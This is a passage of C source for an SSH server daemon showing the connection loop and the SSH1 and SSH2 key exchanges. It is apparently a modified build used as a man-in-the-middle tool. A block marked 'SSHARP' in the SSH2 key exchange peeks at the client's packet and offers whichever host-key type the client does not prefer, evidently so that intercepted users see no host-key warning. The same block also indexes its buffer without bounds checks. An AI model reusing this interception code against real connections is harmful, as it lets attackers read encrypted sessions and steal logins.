1009 for (i = 0; i < options.max_startups; i++)
1010 startup_pipes[i] = -1;
1011
1012 /*
1013 * Stay listening for connections until the system crashes or
1014 * the daemon is killed with a signal.
1015 */
1016 for (;;) {
1017 if (received_sighup)
1018 sighup_restart();
1019 if (fdset != NULL)
1020 xfree(fdset);
1021 fdsetsz = howmany(maxfd+1, NFDBITS) * sizeof(fd_mask);
1022 fdset = (fd_set *)xmalloc(fdsetsz);
1023 memset(fdset, 0, fdsetsz);
1024
1025 for (i = 0; i < num_listen_socks; i++)
1026 FD_SET(listen_socks[i], fdset);
1027 for (i = 0; i < options.max_startups; i++)
1028 if (startup_pipes[i] != -1)
1029 FD_SET(startup_pipes[i], fdset);
1030
1031 /* Wait in select until there is a connection. */
1032 ret = select(maxfd+1, fdset, NULL, NULL, NULL);
1033 if (ret < 0 && errno != EINTR)
1034 error("select: %.100s", strerror(errno));
1035 if (key_used && key_do_regen) {
1036 generate_ephemeral_server_key();
1037 key_used = 0;
1038 key_do_regen = 0;
1039 }
1040 if (ret < 0)
1041 continue;
1042
1043 for (i = 0; i < options.max_startups; i++)
1044 if (startup_pipes[i] != -1 &&
1045 FD_ISSET(startup_pipes[i], fdset)) {
1046 /*
1047 * the read end of the pipe is ready
1048 * if the child has closed the pipe
1049 * after successful authentication
1050 * or if the child has died
1051 */
1052 close(startup_pipes[i]);
1053 startup_pipes[i] = -1;
1054 startups--;
1055 }
1056 for (i = 0; i < num_listen_socks; i++) {
1057 if (!FD_ISSET(listen_socks[i], fdset))
1058 continue;
1059 fromlen = sizeof(from);
1060 newsock = accept(listen_socks[i], (struct sockaddr *)&from,
1061 &fromlen);
1062 if (newsock < 0) {
1063 if (errno != EINTR && errno != EWOULDBLOCK)
1064 error("accept: %.100s", strerror(errno));
1065 continue;
1066 }
1067 if (fcntl(newsock, F_SETFL, 0) < 0) {
1068 error("newsock del O_NONBLOCK: %s", strerror(errno));
1069 continue;
1070 }
1071 if (drop_connection(startups) == 1) {
1072 debug("drop connection #%d", startups);
1073 close(newsock);
1074 continue;
1075 }
1076 if (pipe(startup_p) == -1) {
1077 close(newsock);
1078 continue;
1079 }
1080
1081 for (j = 0; j < options.max_startups; j++)
1082 if (startup_pipes[j] == -1) {
1083 startup_pipes[j] = startup_p[0];
1084 if (maxfd < startup_p[0])
1085 maxfd = startup_p[0];
1086 startups++;
1087 break;
1088 }
1089
1090 /*
1091 * Got connection. Fork a child to handle it, unless
1092 * we are in debugging mode.
1093 */
1094 if (debug_flag) {
1095 /*
1096 * In debugging mode. Close the listening
1097 * socket, and start processing the
1098 * connection without forking.
1099 */
1100 debug("Server will not fork when running in debugging mode.");
1101 close_listen_socks();
1102 sock_in = newsock;
1103 sock_out = newsock;
1104 startup_pipe = -1;
1105 pid = getpid();
1106 break;
1107 } else {
1108 /*
1109 * Normal production daemon. Fork, and have
1110 * the child process the connection. The
1111 * parent continues listening.
1112 */
1113 if ((pid = fork()) == 0) {
1114 /*
1115 * Child. Close the listening and max_startup
1116 * sockets. Start using the accepted socket.
1117 * Reinitialize logging (since our pid has
1118 * changed). We break out of the loop to handle
1119 * the connection.
1120 */
1121 startup_pipe = startup_p[1];
1122 for (j = 0; j < options.max_startups; j++)
1123 if (startup_pipes[j] != -1)
1124 close(startup_pipes[j]);
1125 close_listen_socks();
1126 sock_in = newsock;
1127 sock_out = newsock;
1128 log_init(__progname, options.log_level, options.log_facility, log_stderr);
1129 break;
1130 }
1131 }
1132
1133 /* Parent. Stay in the loop. */
1134 if (pid < 0)
1135 error("fork: %.100s", strerror(errno));
1136 else
1137 debug("Forked child %d.", pid);
1138
1139 close(startup_p[1]);
1140
1141 /* Mark that the key has been used (it was "given" to the child). */
1142 if ((options.protocol & SSH_PROTO_1) &&
1143 key_used == 0) {
1144 /* Schedule server key regeneration alarm. */
1145 signal(SIGALRM, key_regeneration_alarm);
1146 alarm(options.key_regeneration_time);
1147 key_used = 1;
1148 }
1149
1150 arc4random_stir();
1151
1152 /* Close the new socket (the child is now taking care of it). */
1153 close(newsock);
1154 }
1155 /* child process check (or debug mode) */
1156 if (num_listen_socks < 0)
1157 break;
1158 }
1159 }
1160
1161 /* This is the child processing a new connection. */
1162
1163 /*
1164 * Disable the key regeneration alarm. We will not regenerate the
1165 * key since we are no longer in a position to give it to anyone. We
1166 * will not restart on SIGHUP since it no longer makes sense.
1167 */
1168 alarm(0);
1169 signal(SIGALRM, SIG_DFL);
1170 signal(SIGHUP, SIG_DFL);
1171 signal(SIGTERM, SIG_DFL);
1172 signal(SIGQUIT, SIG_DFL);
1173 signal(SIGCHLD, SIG_DFL);
1174 signal(SIGINT, SIG_DFL);
1175
1176 /*
1177 * Set socket options for the connection. We want the socket to
1178 * close as fast as possible without waiting for anything. If the
1179 * connection is not a socket, these will do nothing.
1180 */
1181 /* setsockopt(sock_in, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */
1182 linger.l_onoff = 1;
1183 linger.l_linger = 5;
1184 setsockopt(sock_in, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger));
1185
1186 /* Set keepalives if requested. */
1187 if (options.keepalives &&
1188 setsockopt(sock_in, SOL_SOCKET, SO_KEEPALIVE, (void *)&on,
1189 sizeof(on)) < 0)
1190 error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno));
1191
1192 /*
1193 * Register our connection. This turns encryption off because we do
1194 * not have a key.
1195 */
1196 packet_set_connection(sock_in, sock_out);
1197
1198 remote_port = get_remote_port();
1199 remote_ip = get_remote_ipaddr();
1200
1201 /* Check whether logins are denied from this host. */
1202#ifdef LIBWRAP
1203 /* XXX LIBWRAP noes not know about IPv6 */
1204 {
1205 struct request_info req;
1206
1207 request_init(&req, RQ_DAEMON, __progname, RQ_FILE, sock_in, NULL);
1208 fromhost(&req);
1209
1210 if (!hosts_access(&req)) {
1211 refuse(&req);
1212 close(sock_in);
1213 close(sock_out);
1214 }
1215/*XXX IPv6 verbose("Connection from %.500s port %d", eval_client(&req), remote_port); */
1216 }
1217#endif /* LIBWRAP */
1218 /* Log the connection. */
1219 verbose("Connection from %.500s port %d", remote_ip, remote_port);
1220
1221 /*
1222 * We don\'t want to listen forever unless the other side
1223 * successfully authenticates itself. So we set up an alarm which is
1224 * cleared after successful authentication. A limit of zero
1225 * indicates no limit. Note that we don\'t set the alarm in debugging
1226 * mode; it is just annoying to have the server exit just when you
1227 * are about to discover the bug.
1228 */
1229 signal(SIGALRM, grace_alarm_handler);
1230 if (!debug_flag)
1231 alarm(options.login_grace_time);
1232
1233 sshd_exchange_identification(sock_in, sock_out);
1234
1235#ifdef KRB4
1236 if (!packet_connection_is_ipv4() &&
1237 options.kerberos_authentication) {
1238 debug("Kerberos Authentication disabled, only available for IPv4.");
1239 options.kerberos_authentication = 0;
1240 }
1241#endif /* KRB4 */
1242#ifdef AFS
1243 /* If machine has AFS, set process authentication group. */
1244 if (k_hasafs()) {
1245 k_setpag();
1246 k_unlog();
1247 }
1248#endif /* AFS */
1249
1250 packet_set_nonblocking();
1251
1252 /* perform the key exchange */
1253 /* authenticate user and start session */
1254 if (compat20) {
1255 do_ssh2_kex();
1256 do_authentication2();
1257 } else {
1258 do_ssh1_kex();
1259 do_authentication();
1260 }
1261
1262#ifdef KRB4
1263 /* Cleanup user's ticket cache file. */
1264 if (options.kerberos_ticket_cleanup)
1265 (void) dest_tkt();
1266#endif /* KRB4 */
1267
1268 /* The connection has been terminated. */
1269 verbose("Closing connection to %.100s", remote_ip);
1270
1271
1272 packet_close();
1273 exit(0);
1274}
1275
1276/*
1277 * SSH1 key exchange
1278 */
1279void
1280do_ssh1_kex(void)
1281{
1282 int i, len;
1283 int plen, slen;
1284 int rsafail = 0;
1285 BIGNUM *session_key_int;
1286 u_char session_key[SSH_SESSION_KEY_LENGTH];
1287 u_char cookie[8];
1288 u_int cipher_type, auth_mask, protocol_flags;
1289 u_int32_t rand = 0;
1290
1291 /*
1292 * Generate check bytes that the client must send back in the user
1293 * packet in order for it to be accepted; this is used to defy ip
1294 * spoofing attacks. Note that this only works against somebody
1295 * doing IP spoofing from a remote machine; any machine on the local
1296 * network can still see outgoing packets and catch the random
1297 * cookie. This only affects rhosts authentication, and this is one
1298 * of the reasons why it is inherently insecure.
1299 */
1300 for (i = 0; i < 8; i++) {
1301 if (i % 4 == 0)
1302 rand = arc4random();
1303 cookie[i] = rand & 0xff;
1304 rand >>= 8;
1305 }
1306
1307 /*
1308 * Send our public key. We include in the packet 64 bits of random
1309 * data that must be matched in the reply in order to prevent IP
1310 * spoofing.
1311 */
1312 packet_start(SSH_SMSG_PUBLIC_KEY);
1313 for (i = 0; i < 8; i++)
1314 packet_put_char(cookie[i]);
1315
1316 /* Store our public server RSA key. */
1317 packet_put_int(BN_num_bits(sensitive_data.server_key->rsa->n));
1318 packet_put_bignum(sensitive_data.server_key->rsa->e);
1319 packet_put_bignum(sensitive_data.server_key->rsa->n);
1320
1321 /* Store our public host RSA key. */
1322 packet_put_int(BN_num_bits(sensitive_data.ssh1_host_key->rsa->n));
1323 packet_put_bignum(sensitive_data.ssh1_host_key->rsa->e);
1324 packet_put_bignum(sensitive_data.ssh1_host_key->rsa->n);
1325
1326 /* Put protocol flags. */
1327 packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN);
1328
1329 /* Declare which ciphers we support. */
1330 packet_put_int(cipher_mask_ssh1(0));
1331
1332 /* Declare supported authentication types. */
1333 auth_mask = 0;
1334 if (options.rhosts_authentication)
1335 auth_mask |= 1 << SSH_AUTH_RHOSTS;
1336 if (options.rhosts_rsa_authentication)
1337 auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA;
1338 if (options.rsa_authentication)
1339 auth_mask |= 1 << SSH_AUTH_RSA;
1340#ifdef KRB4
1341 if (options.kerberos_authentication)
1342 auth_mask |= 1 << SSH_AUTH_KERBEROS;
1343#endif
1344#ifdef AFS
1345 if (options.kerberos_tgt_passing)
1346 auth_mask |= 1 << SSH_PASS_KERBEROS_TGT;
1347 if (options.afs_token_passing)
1348 auth_mask |= 1 << SSH_PASS_AFS_TOKEN;
1349#endif
1350 if (options.challenge_reponse_authentication == 1)
1351 auth_mask |= 1 << SSH_AUTH_TIS;
1352 if (options.password_authentication)
1353 auth_mask |= 1 << SSH_AUTH_PASSWORD;
1354 packet_put_int(auth_mask);
1355
1356 /* Send the packet and wait for it to be sent. */
1357 packet_send();
1358 packet_write_wait();
1359
1360 debug("Sent %d bit server key and %d bit host key.",
1361 BN_num_bits(sensitive_data.server_key->rsa->n),
1362 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n));
1363
1364 /* Read clients reply (cipher type and session key). */
1365 packet_read_expect(&plen, SSH_CMSG_SESSION_KEY);
1366
1367 /* Get cipher type and check whether we accept this. */
1368 cipher_type = packet_get_char();
1369
1370 if (!(cipher_mask_ssh1(0) & (1 << cipher_type)))
1371 packet_disconnect("Warning: client selects unsupported cipher.");
1372
1373 /* Get check bytes from the packet. These must match those we
1374 sent earlier with the public key packet. */
1375 for (i = 0; i < 8; i++)
1376 if (cookie[i] != packet_get_char())
1377 packet_disconnect("IP Spoofing check bytes do not match.");
1378
1379 debug("Encryption type: %.200s", cipher_name(cipher_type));
1380
1381 /* Get the encrypted integer. */
1382 session_key_int = BN_new();
1383 packet_get_bignum(session_key_int, &slen);
1384
1385 protocol_flags = packet_get_int();
1386 packet_set_protocol_flags(protocol_flags);
1387
1388 packet_integrity_check(plen, 1 + 8 + slen + 4, SSH_CMSG_SESSION_KEY);
1389
1390 /*
1391 * Decrypt it using our private server key and private host key (key
1392 * with larger modulus first).
1393 */
1394 if (BN_cmp(sensitive_data.server_key->rsa->n, sensitive_data.ssh1_host_key->rsa->n) > 0) {
1395 /* Server key has bigger modulus. */
1396 if (BN_num_bits(sensitive_data.server_key->rsa->n) <
1397 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) {
1398 fatal("do_connection: %s: server_key %d < host_key %d + SSH_KEY_BITS_RESERVED %d",
1399 get_remote_ipaddr(),
1400 BN_num_bits(sensitive_data.server_key->rsa->n),
1401 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n),
1402 SSH_KEY_BITS_RESERVED);
1403 }
1404 if (rsa_private_decrypt(session_key_int, session_key_int,
1405 sensitive_data.server_key->rsa) <= 0)
1406 rsafail++;
1407 if (rsa_private_decrypt(session_key_int, session_key_int,
1408 sensitive_data.ssh1_host_key->rsa) <= 0)
1409 rsafail++;
1410 } else {
1411 /* Host key has bigger modulus (or they are equal). */
1412 if (BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) <
1413 BN_num_bits(sensitive_data.server_key->rsa->n) + SSH_KEY_BITS_RESERVED) {
1414 fatal("do_connection: %s: host_key %d < server_key %d + SSH_KEY_BITS_RESERVED %d",
1415 get_remote_ipaddr(),
1416 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n),
1417 BN_num_bits(sensitive_data.server_key->rsa->n),
1418 SSH_KEY_BITS_RESERVED);
1419 }
1420 if (rsa_private_decrypt(session_key_int, session_key_int,
1421 sensitive_data.ssh1_host_key->rsa) < 0)
1422 rsafail++;
1423 if (rsa_private_decrypt(session_key_int, session_key_int,
1424 sensitive_data.server_key->rsa) < 0)
1425 rsafail++;
1426 }
1427 /*
1428 * Extract session key from the decrypted integer. The key is in the
1429 * least significant 256 bits of the integer; the first byte of the
1430 * key is in the highest bits.
1431 */
1432 if (!rsafail) {
1433 BN_mask_bits(session_key_int, sizeof(session_key) * 8);
1434 len = BN_num_bytes(session_key_int);
1435 if (len < 0 || len > sizeof(session_key)) {
1436 error("do_connection: bad session key len from %s: "
1437 "session_key_int %d > sizeof(session_key) %lu",
1438 get_remote_ipaddr(), len, (u_long)sizeof(session_key));
1439 rsafail++;
1440 } else {
1441 memset(session_key, 0, sizeof(session_key));
1442 BN_bn2bin(session_key_int,
1443 session_key + sizeof(session_key) - len);
1444
1445 compute_session_id(session_id, cookie,
1446 sensitive_data.ssh1_host_key->rsa->n,
1447 sensitive_data.server_key->rsa->n);
1448 /*
1449 * Xor the first 16 bytes of the session key with the
1450 * session id.
1451 */
1452 for (i = 0; i < 16; i++)
1453 session_key[i] ^= session_id[i];
1454 }
1455 }
1456 if (rsafail) {
1457 int bytes = BN_num_bytes(session_key_int);
1458 char *buf = xmalloc(bytes);
1459 MD5_CTX md;
1460
1461 log("do_connection: generating a fake encryption key");
1462 BN_bn2bin(session_key_int, buf);
1463 MD5_Init(&md);
1464 MD5_Update(&md, buf, bytes);
1465 MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH);
1466 MD5_Final(session_key, &md);
1467 MD5_Init(&md);
1468 MD5_Update(&md, session_key, 16);
1469 MD5_Update(&md, buf, bytes);
1470 MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH);
1471 MD5_Final(session_key + 16, &md);
1472 memset(buf, 0, bytes);
1473 xfree(buf);
1474 for (i = 0; i < 16; i++)
1475 session_id[i] = session_key[i] ^ session_key[i + 16];
1476 }
1477 /* Destroy the private and public keys. They will no longer be needed. */
1478 destroy_sensitive_data();
1479
1480 /* Destroy the decrypted integer. It is no longer needed. */
1481 BN_clear_free(session_key_int);
1482
1483 /* Set the session key. From this on all communications will be encrypted. */
1484 packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type);
1485
1486 /* Destroy our copy of the session key. It is no longer needed. */
1487 memset(session_key, 0, sizeof(session_key));
1488
1489 debug("Received session key; encryption turned on.");
1490
1491 /* Send an acknowledgement packet. Note that this packet is sent encrypted. */
1492 packet_start(SSH_SMSG_SUCCESS);
1493 packet_send();
1494 packet_write_wait();
1495}
1496
1497extern char *client_supported_host_algos;
1498
1499/*
1500 * SSH2 key exchange: diffie-hellman-group1-sha1
1501 */
1502void
1503do_ssh2_kex(void)
1504{
1505 Kex *kex;
1506 int fd = 0;
1507
1508 if (options.ciphers != NULL) {
1509 myproposal[PROPOSAL_ENC_ALGS_CTOS] =
1510 myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
1511 }
1512 myproposal[PROPOSAL_ENC_ALGS_CTOS] =
1513 compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
1514 myproposal[PROPOSAL_ENC_ALGS_STOC] =
1515 compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]);
1516
1517 if (options.macs != NULL) {
1518 myproposal[PROPOSAL_MAC_ALGS_CTOS] =
1519 myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
1520 }
1521 //SSHARP
1522 if (SSH2_mim_only && SSH2_mim_cipher) {
1523 myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = strdup(SSH2_mim_cipher);
1524 } else if (SSH2_mim_only) {
1525 int r = 0;
1526 char buf[1024];
1527 fd = packet_get_connection_in();
1528
1529 do {
1530 r = recvfrom(fd,buf, sizeof(buf), MSG_PEEK, NULL, NULL);
1531 } while (r < 0 && errno == EAGAIN);
1532
1533 /* Kill 0-bytes */
1534 buf[r] = 0; --r;
1535 for (; r >= 0; --r) {
1536 if (buf[r] == 0)
1537 buf[r] = 'X';
1538 }
1539 if (strstr(buf, "ssh-rsa,ssh-dss")) {
1540 myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = strdup("ssh-dss");
1541 SSH2_mim_cipher = strdup("ssh-dss");
1542 } else if (strstr(buf, "ssh-dss,ssh-rsa")) {
1543 myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = strdup("ssh-rsa");
1544 SSH2_mim_cipher = strdup("ssh-rsa");
1545 }
1546 log("ssharp: peeking gave SSH2_mim_cipher of %s", SSH2_mim_cipher);
1547 } else {
1548 myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = list_hostkey_types();
1549 }
1550
1551 /* start key exchange */
1552 kex = kex_setup(myproposal);
1553 kex->server = 1;
1554 kex->client_version_string=client_version_string;
1555 kex->server_version_string=server_version_string;
1556 kex->load_host_key=&get_hostkey_by_type;
1557
1558 xxx_kex = kex;
1559
1560 dispatch_run(DISPATCH_BLOCK, &kex->done, kex);
1561
1562 session_id2 = kex->session_id;
1563 session_id2_len = kex->session_id_len;
1564
1565#ifdef DEBUG_KEXDH
1566 /* send 1st encrypted/maced/compressed message */
1567 packet_start(SSH2_MSG_IGNORE);
1568 packet_put_cstring("markus");
1569 packet_send();
1570 packet_write_wait();
1571#endif
1572 debug("KEX done");
1573}